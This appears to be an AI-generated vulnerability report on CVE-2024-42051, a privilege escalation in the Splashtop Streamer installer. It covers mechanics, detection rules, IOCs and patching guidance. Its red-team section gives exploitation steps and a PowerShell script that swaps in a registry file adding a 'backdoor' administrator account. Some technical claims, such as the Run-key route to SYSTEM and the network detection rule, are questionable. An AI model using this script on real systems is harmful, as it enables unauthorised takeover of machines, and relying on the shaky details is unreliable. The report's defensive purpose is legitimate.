CVE-2024-42051

Executive Summary

CVE-2024-42051 is a high-severity (CVSS 7.8) local privilege escalation vulnerability in the Splashtop Streamer for Windows installer. The MSI installer creates a temporary folder with weak permissions during installation. A local user can exploit this by replacing the InstRegExp.reg file within that folder, causing the installer to execute arbitrary registry modifications with SYSTEM privileges. This allows an attacker to escalate from a standard user account to full SYSTEM access. No public exploit code or proof-of-concept is currently available, and the vendor has released a patched version (3.6.2.0). The vulnerability is classified under MITRE ATT&CK tactic T1574 (Hijack Execution Flow) and CWE-276 (Incorrect Default Permissions).

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows application installer. The risk is limited to local exploitation on systems where Splashtop Streamer is installed.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed beyond the attacker's own actions.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system access allows reading any data.
• Integrity Impact: High (I:H) – The attacker can modify system files and registry.
• Availability Impact: High (A:H) – The attacker can disrupt system operations.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation likelihood in the wild), the vulnerability is easy to exploit locally and grants SYSTEM privileges. It is a significant risk in multi-user environments or where untrusted users have local access.

Deep Dive & Mechanics

The vulnerability lies in the MSI installer for Splashtop Streamer for Windows (versions before 3.6.2.0). During installation, the installer creates a temporary folder (typically under %TEMP% or a similar location) with weak permissions. This folder contains a file named InstRegExp.reg, which is used to apply registry modifications as part of the installation process.

Weakness: The temporary folder is created with permissions that allow any local user to write to it. This means a standard user can:

1. Monitor the creation of the temporary folder during installation.
2. Replace the legitimate InstRegExp.reg file with a malicious one containing arbitrary registry entries.
3. When the installer (running as SYSTEM) processes the file, it applies the malicious registry changes with SYSTEM privileges.

Exploitation Flow:

1. The attacker (with a standard user account) waits for an administrator to install or update Splashtop Streamer.
2. The installer creates a temporary folder with weak permissions.
3. The attacker replaces InstRegExp.reg with a file that adds a new user to the local Administrators group or modifies a service to execute arbitrary code.
4. The installer processes the file, executing the attacker's registry modifications as SYSTEM.
5. The attacker gains SYSTEM privileges.

Root Cause: The installer does not set proper DACLs (Discretionary Access Control Lists) on the temporary folder, allowing non-privileged users to modify its contents.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.6.2.0): The MSI installer creates a temporary folder with default permissions inherited from the parent directory (e.g., %TEMP%), which often allows all users to write. The installer then writes InstRegExp.reg to this folder and executes it with SYSTEM privileges.

// Conceptual vulnerable behavior
CreateTempFolder("SplashtopTemp", permissions = DEFAULT);
WriteFile("SplashtopTemp\\InstRegExp.reg", registryCommands);
ExecuteRegFile("SplashtopTemp\\InstRegExp.reg"); // Runs as SYSTEM

Patched Code (3.6.2.0+): The patched installer creates the temporary folder with restrictive permissions, allowing only the SYSTEM account and the installer process to write to it. Additionally, the installer may verify the integrity of the InstRegExp.reg file before execution.

// Conceptual patched behavior
CreateTempFolder("SplashtopTemp", permissions = SYSTEM_ONLY);
WriteFile("SplashtopTemp\\InstRegExp.reg", registryCommands);
VerifyFileIntegrity("SplashtopTemp\\InstRegExp.reg");
ExecuteRegFile("SplashtopTemp\\InstRegExp.reg"); // Runs as SYSTEM

Key Difference: The patched version restricts write access to the temporary folder, preventing a local user from replacing the file.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Windows system with Splashtop Streamer < 3.6.2.0 installed.
• A standard user account (non-admin).
• An administrator triggers an installation or update of Splashtop Streamer.

Exploitation Steps:

1. Monitor for Installation: Use a script or tool (e.g., FileSystemWatcher in PowerShell) to monitor the creation of temporary folders by the Splashtop installer.
2. Identify the Temp Folder: The installer typically creates a folder like C:\Users\<Admin>\AppData\Local\Temp\SplashtopStreamerSetup or similar.
3. Replace the Registry File: Once the folder is created, replace InstRegExp.reg with a malicious file. For example, to add a user to the Administrators group:

   Windows Registry Editor Version 5.00
   [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\backdoor]
   @="backdoor"
   [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9]
   "F"=hex:...
   

   Note: The exact registry keys depend on the target system. A simpler approach is to modify a service to run a payload.
4. Wait for Execution: The installer processes the file as SYSTEM, applying the malicious changes.
5. Escalate: Log in as the new admin user or execute the modified service to gain SYSTEM access.

Automated Exploit (Conceptual):

# Monitor for Splashtop temp folder
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "$env:TEMP"
$watcher.Filter = "*Splashtop*"
$watcher.EnableRaisingEvents = $true

Register-ObjectEvent $watcher "Created" -Action {
    $tempFolder = $Event.SourceEventArgs.FullPath
    $maliciousReg = @"
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Malware"="cmd.exe /c net user backdoor P@ssw0rd! /add && net localgroup Administrators backdoor /add"
"@
    Set-Content -Path "$tempFolder\InstRegExp.reg" -Value $maliciousReg
}

Blue Team (Defense & Detection)

Detection:

• Monitor for file creation/modification events in %TEMP% folders during Splashtop installations.
• Look for unusual registry modifications applied by the Splashtop installer process (e.g., adding users, modifying services).
• Use Sysmon to log process creation and file events.

Prevention:

• Apply the patch (upgrade to version 3.6.2.0 or later).
• Restrict local user accounts and enforce least privilege.
• Use AppLocker or WDAC to block unauthorized scripts.
• Monitor for suspicious registry changes during software installations.

Hunting:

• Search for InstRegExp.reg files in %TEMP% that are not part of a legitimate Splashtop installation.
• Look for processes named msiexec.exe creating temporary files with weak permissions.

Indicators of Compromise (IOCs)

File IOCs:

• InstRegExp.reg (malicious version) in %TEMP% folders.
• Temporary folders named SplashtopStreamerSetup* or similar.

Registry IOCs:

• Unauthorized user accounts added to Administrators group.
• New entries in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run or RunOnce.
• Modified service configurations (e.g., ImagePath pointing to a malicious binary).

Process IOCs:

• msiexec.exe spawning reg.exe or regedit.exe with unexpected arguments.
• cmd.exe or powershell.exe launched by msiexec.exe during installation.

Network IOCs:

• Outbound connections from the Splashtop Streamer process to unknown IPs (if the attacker uses a reverse shell).

Detection Engineering

YARA Rule

rule CVE_2024_42051_Splashtop_InstRegExp {
    meta:
        description = "Detects malicious InstRegExp.reg files used in CVE-2024-42051 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42051"
    strings:
        $reg_header = "Windows Registry Editor Version 5.00"
        $suspicious_key1 = "HKEY_LOCAL_MACHINE\\SAM" nocase
        $suspicious_key2 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" nocase
        $suspicious_key3 = "Administrators" nocase
        $splashtop_ref = "Splashtop" nocase
    condition:
        $reg_header and ($suspicious_key1 or $suspicious_key2 or $suspicious_key3) and not $splashtop_ref
}

Sigma Rule

title: CVE-2024-42051 - Splashtop Streamer Privilege Escalation via InstRegExp.reg
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file creation or modification of InstRegExp.reg in temporary folders during Splashtop installation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42051
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\\InstRegExp.reg'
        TargetFilename|contains: '\\Temp\\'
    condition: selection
falsepositives:
    - Legitimate Splashtop installer creating the file (should be rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-42051 - Splashtop Streamer Potential Exfiltration"; flow:to_server,established; content:"Splashtop"; nocase; content:"InstRegExp"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Splashtop Streamer for Windows to version 3.6.2.0 or later. This is the only official fix.
2. Workaround: If patching is not possible, restrict local user accounts and monitor for suspicious file activity during Splashtop installations.

Long-Term Mitigations:

• Implement application whitelisting to prevent unauthorized executables.
• Use Group Policy to enforce strict permissions on %TEMP% folders.
• Regularly audit local user accounts and group memberships.
• Deploy EDR solutions to detect file tampering and privilege escalation attempts.

Vendor Communication:

• Splashtop has released a patched version. Ensure all systems are updated.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.